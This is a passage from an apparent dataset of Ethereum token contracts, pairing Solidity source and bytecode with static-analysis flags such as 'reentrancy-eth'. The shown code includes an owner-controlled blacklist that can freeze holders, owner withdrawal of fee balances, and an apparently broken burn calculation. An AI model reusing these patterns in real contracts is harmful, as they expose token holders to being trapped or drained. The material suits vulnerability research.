00000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611822816113da565b811461182d57600080fd5b50565b61183981611418565b811461184457600080fd5b5056fea26469706673582212209ee5d0476437d63da4f12fb87d096dc462d14d54bb493286a9a8a144e89b75e264736f6c63430008030033
{"success": true, "error": null, "results": {}}
214
0xd5f53182d2c92a9f4426329e6202ceefc1183c06
// SHIBIGAMI // https://t.me/shibigami // https://shibigami.club // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBIGAMI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SHIBIGAMI"; string private constant _symbol = "SHIBIGAMI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHoldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x2DA8A4ca7DF40f47B6f6A1Bb94851169A4FdDEDE); _buyTax = 11; _sellTax = 11; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHoldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = (contractTokenBalance*11)/7; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 6000000 * 10**9; _maxHoldAmount = 18000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461013a5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b8063273123b7116100f2578063273123b714610212578063313ce5671461023257806346df33b71461024e5780636fc3eaec1461026e57806370a082311461028357600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101d057806323b872dd146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820182526009815268534849424947414d4960b81b60208201529051610172919061193d565b60405180910390f35b34801561018757600080fd5b5061019b6101963660046117c4565b6103e5565b6040519015158152602001610172565b3480156101b757600080fd5b50670de0b6b3a76400005b604051908152602001610172565b3480156101dc57600080fd5b506101f06101eb3660046118f6565b6103fc565b005b3480156101fe57600080fd5b5061019b61020d366004611783565b610448565b34801561021e57600080fd5b506101f061022d366004611710565b6104b1565b34801561023e57600080fd5b5060405160098152602001610172565b34801561025a57600080fd5b506101f06102693660046118bc565b6104fc565b34801561027a57600080fd5b506101f0610544565b34801561028f57600080fd5b506101c261029e366004611710565b610578565b3480156102af57600080fd5b506101f061059a565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ec57600080fd5b506101f061060e565b34801561030157600080fd5b5061019b6103103660046117c4565b61084d565b34801561032157600080fd5b506101f06103303660046117f0565b61085a565b34801561034157600080fd5b506101f06108f0565b34801561035657600080fd5b506101f0610930565b34801561036b57600080fd5b506101f061037a3660046118f6565b610b01565b34801561038b57600080fd5b506101f061039a3660046118f6565b610b39565b3480156103ab57600080fd5b506101c26103ba36600461174a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f2338484610b71565b5060015b92915050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260040161042690611992565b60405180910390fd5b6702c68af0bb1400008111156104455760108190555b50565b6000610455848484610c95565b6104a784336104a285604051806060016040528060288152602001611b29602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fe4565b610b71565b5060019392505050565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161042690611992565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105265760405162461bcd60e51b815260040161042690611992565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161042690611992565b476104458161101e565b6001600160a01b0381166000908152600260205260408120546103f690611058565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161042690611992565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161042690611992565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610426565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a919061172d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa919061172d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a919061172d565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f2338484610c95565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161042690611992565b60005b81518110156108ec576001600660008484815181106108a8576108a8611ad9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e481611aa8565b915050610887565b5050565b6000546001600160a01b0316331461091a5760405162461bcd60e51b815260040161042690611992565b600061092530610578565b9050610445816110dc565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161042690611992565b600e5461097a9030906001600160a01b0316670de0b6b3a7640000610b71565b600e546001600160a01b031663f305d719473061099681610578565b6000806109ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a47919061190f565b5050600f8054661550f7dca70000601055663ff2e795f5000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac957600080fd5b505af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044591906118d9565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b815260040161042690611992565b600c81101561044557600b55565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161042690611992565b600c81101561044557600c55565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b6001600160a01b03831660009081526006602052604090205460ff1615610de357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2557506001600160a01b03821660009081526005602052604090205460ff16155b15610fd4576000600955600c54600a55600f546001600160a01b038481169116148015610e605750600e546001600160a01b03838116911614155b8015610e8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9a5750600f54600160b81b900460ff165b15610ed5576000610eaa83610578565b9050601054821115610ebb57600080fd5b601154610ec88383611265565b1115610ed357600080fd5b505b600f546001600160a01b038381169116148015610f005750600e546001600160a01b03848116911614155b8015610f2557506001600160a01b03831660009081526005602052604090205460ff16155b15610f36576000600955600b54600a555b6000610f4130610578565b600f54909150600160a81b900460ff16158015610f6c5750600f546001600160a01b03858116911614155b8015610f815750600f54600160b01b900460ff165b15610fd25760006007610f9583600b611a72565b610f9f9190611a50565b9050610fab8183611a91565b9150610fb6816112c4565b610fbf826110dc565b478015610fcf57610fcf4761101e565b50505b505b610fdf8383836112fa565b505050565b600081848411156110085760405162461bcd60e51b8152600401610426919061193d565b5060006110158486611a91565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ec573d6000803e3d6000fd5b60006007548211156110bf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610426565b60006110c9611305565b90506110d58382611328565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112457611124611ad9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117857600080fd5b505afa15801561118c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b0919061172d565b816001815181106111c3576111c3611ad9565b6001600160a01b039283166020918202929092010152600e546111e99130911684610b71565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112229085906000908690309042906004016119c7565b600060405180830381600087803b15801561123c57600080fd5b505af1158015611250573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112728385611a38565b9050838110156110d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610426565b600f805460ff60a81b1916600160a81b17905580156112ea576112ea3061dead83610c95565b50600f805460ff60a81b19169055565b610fdf83838361136a565b6000806000611312611461565b90925090506113218282611328565b9250505090565b60006110d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a1565b60008060008060008061137c876114cf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ae908761152c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113dd9086611265565b6001600160a01b0389166000908152600260205260409020556113ff8161156e565b61140984836115b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144e91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061147c8282611328565b82101561149857505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114c25760405162461bcd60e51b8152600401610426919061193d565b5060006110158486611a50565b60008060008060008060008060006114ec8a600954600a546115dc565b92509250925060006114fc611305565b9050600080600061150f8e878787611631565b919e509c509a509598509396509194505050505091939550919395565b60006110d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe4565b6000611578611305565b905060006115868383611681565b306000908152600260205260409020549091506115a39082611265565b30600090815260026020526040902055505050565b6007546115c5908361152c565b6007556008546115d59082611265565b6008555050565b60008080806115f660646115f08989611681565b90611328565b9050600061160960646115f08a89611681565b905060006116218261161b8b8661152c565b9061152c565b9992985090965090945050505050565b60008080806116408886611681565b9050600061164e8887611681565b9050600061165c8888611681565b9050600061166e8261161b868661152c565b939b939a50919850919650505050505050565b600082611690575060006103f6565b600061169c8385611a72565b9050826116a98583611a50565b146110d55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610426565b803561170b81611b05565b919050565b60006020828403121561172257600080fd5b81356110d581611b05565b60006020828403121561173f57600080fd5b81516110d581611b05565b6000806040838503121561175d57600080fd5b823561176881611b05565b9150602083013561177881611b05565b809150509250929050565b60008060006060848603121561179857600080fd5b83356117a381611b05565b925060208401356117b381611b05565b929592945050506040919091013590565b600080604083850312156117d757600080fd5b82356117e281611b05565b946020939093013593505050565b6000602080838503121561180357600080fd5b823567ffffffffffffffff8082111561181b57600080fd5b818501915085601f83011261182f57600080fd5b81358181111561184157611841611aef565b8060051b604051601f19603f8301168101818110858211171561186657611866611aef565b604052828152858101935084860182860187018a101561188557600080fd5b600095505b838610156118af5761189b81611700565b85526001959095019493860193860161188a565b5098975050505050505050565b6000602082840312156118ce57600080fd5b81356110d581611b1a565b6000602082840312156118eb57600080fd5b81516110d581611b1a565b60006020828403121561190857600080fd5b5035919050565b60008060006060848603121561192457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561196a5785810183015185820160400152820161194e565b8181111561197c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a175784516001600160a01b0316835293830193918301916001016119f2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a4b57611a4b611ac3565b500190565b600082611a6d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a8c57611a8c611ac3565b500290565b600082821015611aa357611aa3611ac3565b500390565b6000600019821415611abc57611abc611ac3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044557600080fd5b801515811461044557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220406c62566b11d1d19c7a7cf45193ed5443fd92b7c4c446e23ee50e3048315b5764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
215
0x492533c89d7c3d07825f9407fde714fdad157969
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: MIT /* I am mysterious and anonymous. I have already done 3 projects, which are between 10 and 400k of MC. Organic growth is the best there is, we don't need to pump & dump on calls. Low tax : 3% I will make one telegram group only for Bobby and some Official informations. */ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Mysterious is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Mysterious"; //// string public constant symbol = unicode"MYST"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 3; uint public _sellFee = 3; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); 